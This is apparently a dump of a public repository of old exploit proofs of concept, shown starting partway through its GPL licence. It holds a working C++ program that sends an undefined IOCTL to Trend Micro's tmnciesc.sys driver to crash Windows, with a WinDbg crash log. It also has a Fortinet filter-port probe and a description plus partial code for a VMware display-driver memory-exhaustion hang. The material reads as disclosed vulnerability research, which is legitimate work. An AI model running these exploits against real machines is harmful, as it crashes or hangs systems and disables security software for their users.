accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # misc_exploits_pocs 2 | 3 | Miscellaneous old Exploit code and PoCs 4 | -------------------------------------------------------------------------------- /TestingFltCommunicationPort/TestFltCommunicationPort.c: -------------------------------------------------------------------------------- 1 | // TestFltCommunicationPort.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | 7 | typedef HRESULT (* _FilterConnectCommunicationPort)( 8 | IN LPCWSTR lpPortName, 9 | IN DWORD dwOptions, 10 | IN LPCVOID lpContext, 11 | IN WORD dwSizeOfContext, 12 | IN LPSECURITY_ATTRIBUTES lpSecurityAttributes, 13 | OUT HANDLE hPort 14 | ); 15 | 16 | _FilterConnectCommunicationPort FilterConnectCommuicationPort = NULL; 17 | 18 | int _tmain(int argc, _TCHAR* argv[]) 19 | { 20 | HANDLE hFortimon3FilterAbortPort; 21 | HANDLE hFortimon3FilterQueryPort; 22 | HANDLE hFortimon3FilterSandBoxScanPort; 23 | HANDLE hFortimon3FilterScanPort; 24 | HANDLE hFortiShieldPort; 25 | HMODULE FltLibBase = LoadLibraryA("FltLib.dll"); 26 | printf("Library Opened %08x\n", FltLibBase); 27 | FilterConnectCommuicationPort = (_FilterConnectCommunicationPort) GetProcAddress(FltLibBase, "FilterConnectCommunicationPort"); 28 | printf("FilterConnectCommuicationPort Resolved at %08x\n", FilterConnectCommuicationPort); 29 | FilterConnectCommuicationPort(L"\\Fortimon3FilterAbortPort", 0, NULL, 0, NULL, &hFortimon3FilterAbortPort); 30 | printf("Fortimon3FilterAbortPort Handle: %08x\n", hFortimon3FilterAbortPort); 31 | 32 | FilterConnectCommuicationPort(L"\\Fortimon3FilterQueryPort", 0, NULL, 0, NULL, &hFortimon3FilterQueryPort); 33 | printf("Fortimon3FilterQueryPort Handle: %08x\n", hFortimon3FilterQueryPort); 34 | 35 | FilterConnectCommuicationPort(L"\\Fortimon3FilterSandBoxScanPort", 0, NULL, 0, NULL, &hFortimon3FilterSandBoxScanPort); 36 | printf("Fortimon3FilterSandBoxScanPort Handle: %08x\n", hFortimon3FilterSandBoxScanPort); 37 | 38 | FilterConnectCommuicationPort(L"\\Fortimon3FilterScanPort", 0, NULL, 0, NULL, &hFortimon3FilterScanPort); 39 | printf("Fortimon3FilterScanPort Handle: %08x\n", hFortimon3FilterScanPort); 40 | 41 | FilterConnectCommuicationPort(L"\\FortiShieldPort", 0, NULL, 0, NULL, &hFortiShieldPort); 42 | printf("FortiShieldPort Handle: %08x\n", hFortiShieldPort); 43 | getchar(); 44 | return 0; 45 | } -------------------------------------------------------------------------------- /TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/DebugInformation.txt: -------------------------------------------------------------------------------- 1 | tmnciesc+0x536d: 2 | 9211f36d 891e mov dword ptr [esi],ebx 3 | kd> r 4 | eax=9215b8c0 ebx=e0400001 ecx=00222503 edx=00000004 esi=00000000 edi=00000004 5 | eip=9211f36d esp=91959ae4 ebp=91959afc iopl=0 nv up ei pl zr na pe nc 6 | cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 7 | tmnciesc+0x536d: 8 | 9211f36d 891e mov dword ptr [esi],ebx ds:0023:00000000=???????? 9 | kd> dd esi 10 | 00000000 ???????? ???????? ???????? ???????? 11 | 00000010 ???????? ???????? ???????? ???????? 12 | 00000020 ???????? ???????? ???????? ???????? 13 | 00000030 ???????? ???????? ???????? ???????? 14 | 00000040 ???????? ???????? ???????? ???????? 15 | 00000050 ???????? ???????? ???????? ???????? 16 | 00000060 ???????? ???????? ???????? ???????? 17 | 00000070 ???????? ???????? ???????? ???????? 18 | kd> !analyze -v 19 | Connected to Windows 7 7601 x86 compatible target at (Sun May 1 19:03:27.780 2016 (UTC - 5:00)), ptr64 FALSE 20 | Loading Kernel Symbols 21 | ............................................................... 22 | ................................................................ 23 | ......................................... 24 | Loading User Symbols 25 | ....................... 26 | Loading unloaded module list 27 | ..... 28 | *** ERROR: Module load completed but symbols could not be loaded for tmnciesc.sys 29 | 30 | ************* Symbol Loading Error Summary ************** 31 | Module name Error 32 | tmnciesc PDB not found : cache* 33 | The system cannot find the file specified : SRV*https://msdl.microsoft.com/download/symbols 34 | 35 | You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded. 36 | You should also verify that your symbol search path (.sympath) is correct. 37 | ******************************************************************************* 38 | * * 39 | * Bugcheck Analysis * 40 | * * 41 | ******************************************************************************* 42 | 43 | Unknown bugcheck code (0) 44 | Unknown bugcheck description 45 | Arguments: 46 | Arg1: 00000000 47 | Arg2: 00000000 48 | Arg3: 00000000 49 | Arg4: 00000000 50 | 51 | Debugging Details: 52 | ------------------ 53 | 54 | *** ERROR: Module load completed but symbols could not be loaded for tmicro1.exe 55 | 56 | 57 | 58 | 59 | 60 | 61 | DUMP_CLASS: 1 62 | 63 | DUMP_QUALIFIER: 0 64 | 65 | BUILD_VERSION_STRING: 7601.18247.x86fre.win7sp1_gdr.130828-1532 66 | 67 | DUMP_TYPE: 0 68 | 69 | BUGCHECK_P1: 0 70 | 71 | BUGCHECK_P2: 0 72 | 73 | BUGCHECK_P3: 0 74 | 75 | BUGCHECK_P4: 0 76 | 77 | PROCESS_NAME: tmicro1.exe 78 | 79 | FAULTING_IP: 80 | tmnciesc+536d 81 | 9211f36d 891e mov dword ptr [esi],ebx 82 | 83 | ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. 84 | 85 | EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. 86 | 87 | EXCEPTION_CODE_STR: c0000005 88 | 89 | EXCEPTION_PARAMETER1: 00000001 90 | 91 | EXCEPTION_PARAMETER2: 00000000 92 | 93 | WRITE_ADDRESS: 00000000 94 | 95 | FOLLOWUP_IP: 96 | tmnciesc+536d 97 | 9211f36d 891e mov dword ptr [esi],ebx 98 | 99 | BUGCHECK_STR: ACCESS_VIOLATION 100 | 101 | DEFAULT_BUCKET_ID: NULL_DEREFERENCE 102 | 103 | CPU_COUNT: 1 104 | 105 | CPU_MHZ: a20 106 | 107 | CPU_VENDOR: GenuineIntel 108 | 109 | CPU_FAMILY: 6 110 | 111 | CPU_MODEL: 5e 112 | 113 | CPU_STEPPING: 3 114 | 115 | CPU_MICROCODE: 6,5e,3,0 (F,M,S,R) SIG: 33'00000000 (cache) 33'00000000 (init) 116 | 117 | CURRENT_IRQL: 0 118 | 119 | ANALYSIS_SESSION_HOST: KIQUE-ASUS 120 | 121 | ANALYSIS_SESSION_TIME: 05-01-2016 19:03:29.0216 122 | 123 | ANALYSIS_VERSION: 10.0.10586.567 amd64fre 124 | 125 | LAST_CONTROL_TRANSFER: from 82886c1e to 9211f36d 126 | 127 | STACK_TEXT: 128 | WARNING: Stack unwind information not available. Following frames may be wrong. 129 | 91959afc 82886c1e 868cea90 86abdc70 86abdc70 tmnciesc+0x536d 130 | 91959b14 82a7abf9 86a3f990 86abdc70 86abdce0 nt!IofCallDriver+0x63 131 | 91959b34 82a7dde2 868cea90 86a3f990 00000000 nt!IopSynchronousServiceTail+0x1f8 132 | 91959bd0 82ac4779 868cea90 86abdc70 00000000 nt!IopXxxControlFile+0x6aa 133 | 91959c04 8288d8c6 0000007c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 134 | 91959c04 770470f4 0000007c 00000000 00000000 nt!KiSystemServicePostCall 135 | 0025f8dc 770458a4 752c9815 0000007c 00000000 ntdll!KiFastSystemCallRet 136 | 0025f8e0 752c9815 0000007c 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 137 | 0025f940 7691b9b5 0000007c 00222503 00425448 KERNELBASE!DeviceIoControl+0xf6 138 | 0025f96c 000b1096 0000007c 00222503 00425448 kernel32!DeviceIoControlImplementation+0x80 139 | 0025f9f0 000b17bf 00000001 00381a48 00381a70 tmicro1+0x1096 140 | 0025fa38 7691ed6c 7ffdf000 0025fa84 770637eb tmicro1+0x17bf 141 | 0025fa44 770637eb 7ffdf000 7722dd25 00000000 kernel32!BaseThreadInitThunk+0xe 142 | 0025fa84 770637be 000b1815 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 143 | 0025fa9c 00000000 000b1815 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b 144 | 145 | 146 | STACK_COMMAND: kb 147 | 148 | THREAD_SHA1_HASH_MOD_FUNC: 69acd9febe2955034ea62a06581789eb1d327364 149 | 150 | THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 80f1022b8681895869dcd6cc3a239c61c8f50f2e 151 | 152 | THREAD_SHA1_HASH_MOD: b42d12a48ed78de7b9bb4562a5263b7a8bfddd33 153 | 154 | FAULT_INSTR_CODE: 5d8b1e89 155 | 156 | SYMBOL_STACK_INDEX: 0 157 | 158 | SYMBOL_NAME: tmnciesc+536d 159 | 160 | FOLLOWUP_NAME: MachineOwner 161 | 162 | MODULE_NAME: tmnciesc 163 | 164 | IMAGE_NAME: tmnciesc.sys 165 | 166 | DEBUG_FLR_IMAGE_TIMESTAMP: 5343767d 167 | 168 | FAILURE_BUCKET_ID: ACCESS_VIOLATION_tmnciesc+536d 169 | 170 | BUCKET_ID: ACCESS_VIOLATION_tmnciesc+536d 171 | 172 | PRIMARY_PROBLEM_CLASS: ACCESS_VIOLATION_tmnciesc+536d 173 | 174 | TARGET_TIME: 2016-05-02T00:02:35.000Z 175 | 176 | OSBUILD: 7601 177 | 178 | OSSERVICEPACK: 0 179 | 180 | SERVICEPACK_NUMBER: 0 181 | 182 | OS_REVISION: 0 183 | 184 | SUITE_MASK: 272 185 | 186 | PRODUCT_TYPE: 1 187 | 188 | OSPLATFORM_TYPE: x86 189 | 190 | OSNAME: Windows 7 191 | 192 | OSEDITION: Windows 7 WinNt TerminalServer SingleUserTS 193 | 194 | OS_LOCALE: 195 | 196 | USER_LCID: 0 197 | 198 | OSBUILD_TIMESTAMP: 2013-08-28 19:58:30 199 | 200 | BUILDDATESTAMP_STR: 130828-1532 201 | 202 | BUILDLAB_STR: win7sp1_gdr 203 | 204 | BUILDOSVER_STR: 6.1.7601.18247.x86fre.win7sp1_gdr.130828-1532 205 | 206 | ANALYSIS_SESSION_ELAPSED_TIME: 7ac0 207 | 208 | ANALYSIS_SOURCE: KM 209 | 210 | FAILURE_ID_HASH_STRING: km:access_violation_tmnciesc+536d 211 | 212 | FAILURE_ID_HASH: {1909e9f8-d8a8-1bdf-3666-3d3a304510a7} 213 | 214 | Followup: MachineOwner 215 | --------- 216 | 217 | kd> Implicit thread is now 869a1030 218 | kd> Implicit thread is now 869a1030 219 | kd> Implicit thread is now 869a1030 220 | kd> Implicit thread is now 869a1030 221 | kd> Implicit thread is now 869a1030 -------------------------------------------------------------------------------- /TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/README.md: -------------------------------------------------------------------------------- 1 | # Trend Micro Security Kernel Driver Null Pointer Dereference Vulnerability 2 | 3 | * Affected driver: tmnciesc.sys 3.0 4 | 5 | https://esupport.trendmicro.com/en-us/home/pages/technical-support/1115282.aspx 6 | http://www.zerodayinitiative.com/advisories/ZDI-16-529/ 7 | 8 | The issue exists because the IOCTL Dispatch Routine of the driver tmnciesc.sys is not handling well IOCTL codes which doesn't exists. At the very end of the dispatch routine, the driver tries to write a value to the OutputBuffer (IRP->SystemBuffer); this pointer however will be null in the case of an IOCTL of type Neither. This produces a driver fault and ultimately, a BSOD. 9 | 10 | ![alt tag](https://github.com/n3k/misc_exploits_pocs/blob/master/Trendmicro_BSOD/bsod.PNG) 11 | -------------------------------------------------------------------------------- /TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/bsod.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/bsod.PNG -------------------------------------------------------------------------------- /TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/tmicro1.cpp: -------------------------------------------------------------------------------- 1 | // tmicro1.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | 7 | 8 | int _tmain(int argc, _TCHAR* argv[]) 9 | { 10 | DWORD bytesReturned = 0; 11 | PVOID inbuff = NULL; 12 | int status; 13 | HANDLE hDevice = CreateFileA("\\\\.\\tmnciesc", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 14 | if (hDevice == (HANDLE)-1) 15 | { 16 | printf("Device couldn't be opened... \n"); 17 | exit(-1); 18 | } 19 | 20 | inbuff = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PVOID)); 21 | memset(inbuff, 0x90, sizeof(PVOID)); 22 | 23 | status = DeviceIoControl(hDevice, 0x00222503, inbuff, sizeof(PVOID), inbuff, sizeof(PVOID), &bytesReturned, NULL); 24 | printf("DeviceIOControl Status: %llx\n", status); 25 | 26 | HeapFree(GetProcessHeap(), 0, inbuff); 27 | CloseHandle(hDevice); 28 | return 0; 29 | } 30 | 31 | -------------------------------------------------------------------------------- /VMware_SVGA_Driver_Hang/README.md: -------------------------------------------------------------------------------- 1 | # vm3dmp.sys Escape => VM Hang 2 | 3 | The VMware display driver that is installed with vmtools vm3dmp.sys in its version 8.14.01.0051-build-2009154 is vulnerable to a local denial of service attack. 4 | 5 | ![alt tag](https://github.com/n3k/misc_exploits_pocs/blob/master/VMware_SVGA_Driver_Hang/controlled_ObReferenecObjectByHandle.png) 6 | 7 | There is a particular escape operation that allows a user application to create a kernel reference to an Event object while at the same time, allocating a pool of memory. This can be called multiple times thus incrementing the reference count of the object. At some point, the OS stops responding given that all the memory was consumed. 8 | 9 | ![alt tag](https://github.com/n3k/misc_exploits_pocs/blob/master/VMware_SVGA_Driver_Hang/event_references.png) 10 | -------------------------------------------------------------------------------- /VMware_SVGA_Driver_Hang/controlled_ObReferenecObjectByHandle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/VMware_SVGA_Driver_Hang/controlled_ObReferenecObjectByHandle.png -------------------------------------------------------------------------------- /VMware_SVGA_Driver_Hang/event_references.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/VMware_SVGA_Driver_Hang/event_references.png -------------------------------------------------------------------------------- /VMware_SVGA_Driver_Hang/vm3dmp_escape_hang.cpp: -------------------------------------------------------------------------------- 1 | // TestVmwareEscape1.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | //#include 6 | #include 7 | 8 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 9 | 10 | 11 | typedef UINT D3DKMT_HANDLE; 12 | typedef UINT D3DDDI_VIDEO_PRESENT_SOURCE_ID; 13 | 14 | 15 | 16 | typedef struct _D3DDDI_ALLOCATIONLIST { 17 | D3DKMT_HANDLE hAllocation; 18 | union { 19 | struct { 20 | UINT WriteOperation : 1; 21 | UINT DoNotRetireInstance : 1; 22 | #if ((DXGKDDI_INTERFACE_VERSION >= DXGKDDI_INTERFACE_VERSION_WIN8) || \ 23 | (D3D_UMD_INTERFACE_VERSION >= D3D_UMD_INTERFACE_VERSION_WIN8)) 24 | 25 | UINT OfferPriority : 3; 26 | #else 27 | UINT Reserved : 27; 28 | #endif 29 | UINT Reserved : 30; 30 | }; 31 | UINT Value; 32 | }; 33 | } D3DDDI_ALLOCATIONLIST; 34 | 35 | typedef struct _D3DDDI_PATCHLOCATIONLIST { 36 | UINT AllocationIndex; 37 | union { 38 | struct { 39 | UINT SlotId : 24; 40 | UINT Reserved : 8; 41 | }; 42 | UINT Value; 43 | }; 44 | UINT DriverId; 45 | UINT AllocationOffset; 46 | UINT PatchOffset; 47 | UINT SplitOffset; 48 | } 